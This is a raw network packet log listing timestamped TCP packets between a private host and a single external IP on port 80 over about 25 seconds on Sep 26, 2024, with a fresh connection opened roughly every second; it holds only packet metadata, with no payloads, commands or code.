Sep 26, 2024 17:06:31.611427069 CEST	80	55675	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:31.838464975 CEST	80	55675	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:31.838578939 CEST	55675	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:31.940767050 CEST	55675	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:31.940999985 CEST	55676	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:31.945887089 CEST	80	55676	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:31.945980072 CEST	55676	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:31.946082115 CEST	55676	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:31.946094990 CEST	80	55675	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:31.946144104 CEST	55675	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:31.950875998 CEST	80	55676	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:32.642419100 CEST	80	55676	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:32.642544031 CEST	55676	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:32.643196106 CEST	55676	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:32.648011923 CEST	80	55676	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:32.872140884 CEST	80	55676	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:32.872231007 CEST	55676	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:32.998393059 CEST	55676	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:32.998738050 CEST	55677	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:33.004306078 CEST	80	55676	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:33.004319906 CEST	80	55677	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:33.004399061 CEST	55676	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:33.004435062 CEST	55677	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:33.004610062 CEST	55677	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:33.009413004 CEST	80	55677	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:33.706315041 CEST	80	55677	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:33.706392050 CEST	55677	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:33.707165956 CEST	55677	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:33.711963892 CEST	80	55677	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:33.934096098 CEST	80	55677	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:33.934161901 CEST	55677	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:34.050100088 CEST	55677	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:34.050417900 CEST	55678	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:34.055270910 CEST	80	55678	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:34.055346966 CEST	55678	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:34.055408955 CEST	80	55677	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:34.055437088 CEST	55678	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:34.055452108 CEST	55677	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:34.060213089 CEST	80	55678	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:34.762482882 CEST	80	55678	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:34.762646914 CEST	55678	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:34.763396025 CEST	55678	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:34.768182039 CEST	80	55678	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:34.994739056 CEST	80	55678	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:34.994848967 CEST	55678	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:35.097023964 CEST	55678	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:35.097351074 CEST	55679	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:35.102168083 CEST	80	55678	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:35.102196932 CEST	80	55679	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:35.102248907 CEST	55678	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:35.102308989 CEST	55679	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:35.102489948 CEST	55679	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:35.107260942 CEST	80	55679	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:35.797306061 CEST	80	55679	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:35.797414064 CEST	55679	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:35.804246902 CEST	55679	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:35.809190035 CEST	80	55679	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:36.027578115 CEST	80	55679	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:36.027780056 CEST	55679	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:36.144762993 CEST	55679	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:36.145565033 CEST	55680	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:36.149928093 CEST	80	55679	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:36.150088072 CEST	55679	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:36.150413990 CEST	80	55680	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:36.150521994 CEST	55680	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:36.150890112 CEST	55680	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:36.155818939 CEST	80	55680	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:36.850660086 CEST	80	55680	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:36.850739956 CEST	55680	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:36.866652012 CEST	55680	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:36.871448994 CEST	80	55680	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:37.101211071 CEST	80	55680	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:37.101299047 CEST	55680	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:37.206296921 CEST	55680	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:37.206630945 CEST	55681	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:37.211551905 CEST	80	55681	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:37.211580038 CEST	80	55680	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:37.211649895 CEST	55681	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:37.211677074 CEST	55680	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:37.211791039 CEST	55681	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:37.216510057 CEST	80	55681	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:37.948664904 CEST	80	55681	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:37.948755980 CEST	55681	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:37.951479912 CEST	55681	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:37.956449032 CEST	80	55681	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:38.180243969 CEST	80	55681	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:38.180342913 CEST	55681	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:38.285410881 CEST	55681	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:38.285784960 CEST	55682	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:38.290594101 CEST	80	55682	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:38.290730000 CEST	55682	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:38.290827990 CEST	55682	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:38.291219950 CEST	80	55681	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:38.291271925 CEST	55681	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:38.295629025 CEST	80	55682	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:39.010049105 CEST	80	55682	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:39.010123968 CEST	55682	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:39.010701895 CEST	55682	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:39.015474081 CEST	80	55682	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:39.243298054 CEST	80	55682	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:39.243400097 CEST	55682	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:39.347022057 CEST	55682	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:39.347434044 CEST	55683	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:39.352268934 CEST	80	55683	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:39.352356911 CEST	55683	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:39.352461100 CEST	55683	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:39.352572918 CEST	80	55682	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:39.352629900 CEST	55682	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:39.357491016 CEST	80	55683	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:40.051671028 CEST	80	55683	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:40.051748991 CEST	55683	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:40.052391052 CEST	55683	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:40.057179928 CEST	80	55683	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:40.277755022 CEST	80	55683	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:40.277899027 CEST	55683	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:40.394079924 CEST	55683	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:40.394402981 CEST	55684	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:40.399647951 CEST	80	55684	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:40.399729013 CEST	55684	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:40.399821997 CEST	55684	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:40.400033951 CEST	80	55683	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:40.400079966 CEST	55683	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:40.404884100 CEST	80	55684	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:41.091953993 CEST	80	55684	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:41.092055082 CEST	55684	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:41.092789888 CEST	55684	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:41.097574949 CEST	80	55684	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:41.316405058 CEST	80	55684	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:41.316545963 CEST	55684	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:41.426234007 CEST	55684	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:41.427103043 CEST	55685	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:41.431415081 CEST	80	55684	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:41.431549072 CEST	55684	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:41.431940079 CEST	80	55685	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:41.432066917 CEST	55685	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:41.432535887 CEST	55685	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:41.437314034 CEST	80	55685	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:42.166551113 CEST	80	55685	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:42.166615963 CEST	55685	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:42.167237043 CEST	55685	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:42.172311068 CEST	80	55685	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:42.395185947 CEST	80	55685	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:42.395391941 CEST	55685	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:42.503328085 CEST	55685	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:42.503634930 CEST	55686	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:42.508402109 CEST	80	55686	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:42.508507967 CEST	55686	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:42.508586884 CEST	55686	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:42.508641958 CEST	80	55685	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:42.508688927 CEST	55685	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:42.513447046 CEST	80	55686	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:43.225728989 CEST	80	55686	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:43.225826025 CEST	55686	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:43.226674080 CEST	55686	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:43.231420994 CEST	80	55686	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:43.462884903 CEST	80	55686	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:43.463068962 CEST	55686	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:43.565956116 CEST	55686	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:43.566189051 CEST	55687	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:43.571161032 CEST	80	55686	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:43.571237087 CEST	55686	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:43.571274996 CEST	80	55687	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:43.571356058 CEST	55687	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:43.571501970 CEST	55687	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:43.576616049 CEST	80	55687	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:44.271430016 CEST	80	55687	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:44.271500111 CEST	55687	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:44.272093058 CEST	55687	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:44.278141022 CEST	80	55687	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:44.500443935 CEST	80	55687	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:44.500586033 CEST	55687	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:44.724834919 CEST	55687	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:44.725162029 CEST	55688	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:44.729988098 CEST	80	55688	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:44.730065107 CEST	80	55687	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:44.730077028 CEST	55688	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:44.730118036 CEST	55687	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:44.732155085 CEST	55688	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:44.736896992 CEST	80	55688	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:45.456552029 CEST	80	55688	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:45.456693888 CEST	55688	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:45.462275982 CEST	55688	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:45.467066050 CEST	80	55688	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:45.698806047 CEST	80	55688	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:45.698924065 CEST	55688	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:45.800121069 CEST	55688	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:45.800468922 CEST	55689	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:45.805219889 CEST	80	55688	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:45.805315018 CEST	55688	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:45.805318117 CEST	80	55689	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:45.805408001 CEST	55689	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:45.805583954 CEST	55689	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:45.810352087 CEST	80	55689	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:46.514834881 CEST	80	55689	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:46.514914989 CEST	55689	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:46.515559912 CEST	55689	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:46.520292997 CEST	80	55689	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:46.741858006 CEST	80	55689	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:46.741981030 CEST	55689	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:46.847109079 CEST	55689	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:46.847461939 CEST	55690	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:46.852179050 CEST	80	55689	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:46.852241039 CEST	55689	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:46.852252960 CEST	80	55690	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:46.852318048 CEST	55690	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:46.852421999 CEST	55690	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:46.857264996 CEST	80	55690	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:47.553034067 CEST	80	55690	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:47.553137064 CEST	55690	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:47.555301905 CEST	55690	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:47.561249971 CEST	80	55690	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:47.781078100 CEST	80	55690	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:47.781172991 CEST	55690	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:47.894083023 CEST	55690	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:47.894412994 CEST	55691	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:47.899507999 CEST	80	55691	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:47.899597883 CEST	55691	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:47.899945021 CEST	55691	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:47.900532007 CEST	80	55690	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:47.900593996 CEST	55690	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:47.904784918 CEST	80	55691	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:48.607697010 CEST	80	55691	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:48.607928038 CEST	55691	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:48.608675003 CEST	55691	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:48.613464117 CEST	80	55691	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:48.841314077 CEST	80	55691	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:48.841547966 CEST	55691	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:48.956399918 CEST	55691	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:48.956703901 CEST	55692	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:48.961776972 CEST	80	55692	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:48.961869955 CEST	55692	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:48.961951017 CEST	55692	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:48.966698885 CEST	80	55692	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:48.978585958 CEST	80	55691	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:48.978836060 CEST	55691	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:49.663727045 CEST	80	55692	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:49.663809061 CEST	55692	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:49.664663076 CEST	55692	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:49.669445992 CEST	80	55692	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:49.887764931 CEST	80	55692	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:49.887897968 CEST	55692	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:50.003843069 CEST	55692	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:50.004530907 CEST	55693	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:50.009279966 CEST	80	55692	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:50.009344101 CEST	80	55693	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:50.009377003 CEST	55692	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:50.009445906 CEST	55693	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:50.009607077 CEST	55693	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:50.014353991 CEST	80	55693	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:50.718216896 CEST	80	55693	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:50.718494892 CEST	55693	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:50.720468998 CEST	55693	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:50.725375891 CEST	80	55693	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:50.952598095 CEST	80	55693	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:50.952656984 CEST	55693	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:51.066042900 CEST	55693	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:51.066364050 CEST	55694	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:51.071161032 CEST	80	55694	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:51.071232080 CEST	80	55693	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:51.071261883 CEST	55694	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:51.071299076 CEST	55693	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:51.071559906 CEST	55694	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:51.076358080 CEST	80	55694	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:51.787897110 CEST	80	55694	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:51.787980080 CEST	55694	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:51.791172981 CEST	55694	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:51.795964003 CEST	80	55694	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:52.044739962 CEST	80	55694	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:52.044853926 CEST	55694	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:52.159604073 CEST	55694	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:52.159995079 CEST	55695	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:52.164774895 CEST	80	55694	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:52.164802074 CEST	80	55695	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:52.164824009 CEST	55694	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:52.164866924 CEST	55695	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:52.165045023 CEST	55695	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:52.169742107 CEST	80	55695	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:52.860023975 CEST	80	55695	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:52.860239983 CEST	55695	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:52.861165047 CEST	55695	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:52.865967989 CEST	80	55695	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:53.087915897 CEST	80	55695	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:53.088135004 CEST	55695	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:53.191009998 CEST	55695	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:53.191405058 CEST	55696	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:53.196052074 CEST	80	55695	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:53.196121931 CEST	55695	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:53.196178913 CEST	80	55696	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:53.196235895 CEST	55696	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:53.196351051 CEST	55696	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:53.201050997 CEST	80	55696	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:53.931524992 CEST	80	55696	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:53.931612968 CEST	55696	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:53.935012102 CEST	55696	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:53.939836025 CEST	80	55696	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:54.172363043 CEST	80	55696	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:54.172482014 CEST	55696	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:54.284754038 CEST	55696	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:54.285115957 CEST	55697	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:54.289993048 CEST	80	55697	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:54.290072918 CEST	55697	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:54.290257931 CEST	55697	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:54.291836977 CEST	80	55696	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:54.291891098 CEST	55696	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:54.295057058 CEST	80	55697	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:55.040893078 CEST	80	55697	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:55.040963888 CEST	55697	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:55.041682959 CEST	55697	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:55.046514034 CEST	80	55697	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:55.270845890 CEST	80	55697	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:55.271011114 CEST	55697	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:55.378586054 CEST	55697	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:55.379030943 CEST	55698	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:55.383831024 CEST	80	55698	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:55.383955002 CEST	55698	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:55.384082079 CEST	80	55697	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:55.384109020 CEST	55698	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:55.384129047 CEST	55697	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:55.388848066 CEST	80	55698	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:56.093096018 CEST	80	55698	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:56.093194008 CEST	55698	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:56.094094992 CEST	55698	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:56.098912954 CEST	80	55698	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:56.320708990 CEST	80	55698	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:56.320986032 CEST	55698	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:56.426140070 CEST	55698	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:56.426961899 CEST	55699	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:56.431677103 CEST	80	55698	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:56.431804895 CEST	55698	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:56.432010889 CEST	80	55699	185.215.113.16	192.168.2.4
Sep 26, 2024 17:06:56.432130098 CEST	55699	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:56.432461977 CEST	55699	80	192.168.2.4	185.215.113.16
Sep 26, 2024 17:06:56.437345028 CEST	80	55699	185.215.113.16	192.168.2.4
